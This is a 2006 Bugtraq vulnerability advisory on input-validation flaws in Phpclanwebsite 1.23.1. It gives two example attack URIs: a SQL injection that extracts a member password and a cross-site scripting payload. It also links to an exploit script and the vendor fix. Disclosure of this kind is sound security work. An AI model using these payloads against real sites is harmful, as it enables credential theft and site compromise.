Phpclanwebsite Multiple Input Validation Vulnerabilities

Bugtraq ID:	16391
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 26 2006 12:00AM
Updated:	Feb 07 2006 08:55PM
Credit:	matrix_killer is credited with the discovery of this vulnerability.
Vulnerable:	Phpclanwebsite Phpclanwebsite 1.23.1
Not Vulnerable:

Phpclanwebsite Multiple Input Validation Vulnerabilities


Phpclanwebsite is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or steal cookie-based authentication credentials. If successful, an attacker may also exploit vulnerabilities in the underlying database implementation as well as conduct other attacks.

Phpclanwebsite version 1.23.1 is vulnerable; other versions may also be affected.

Phpclanwebsite Multiple Input Validation Vulnerabilities


No exploit is required.

Example URI have been provided:

http://www.example.com/phpclan/index.php?page=forum&func=post&par=2%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=3/*


http://www.example.com/index.php?page=pollresults&poll_id='><script>alert('The Bug Hunter matrix_killer is back');</script

• http://www.securityfocus.com/data/vulnerabilities/exploits/Phpclanwebsite.1.23.1.SQL.Injection.pl

Phpclanwebsite Multiple Input Validation Vulnerabilities

Solution:

The vendor has released a fix to address this issue.


Phpclanwebsite Phpclanwebsite 1.23.1

• Phpclanwebsite Phpclanwebsite_1231_fix.rar
  http://www.phpclanwebsite.com/index.php?page=downloads

Phpclanwebsite Multiple Input Validation Vulnerabilities

References:

• PCW 1.23.1 Security Fix (Phpclanwebsite)
  
• Phpclanwebsite Web Site (Phpclanwebsite)
  
• HYSA-2006-002 Phpclanwebsite 1.23.1 Multiple Vulnerabilities ([email protected])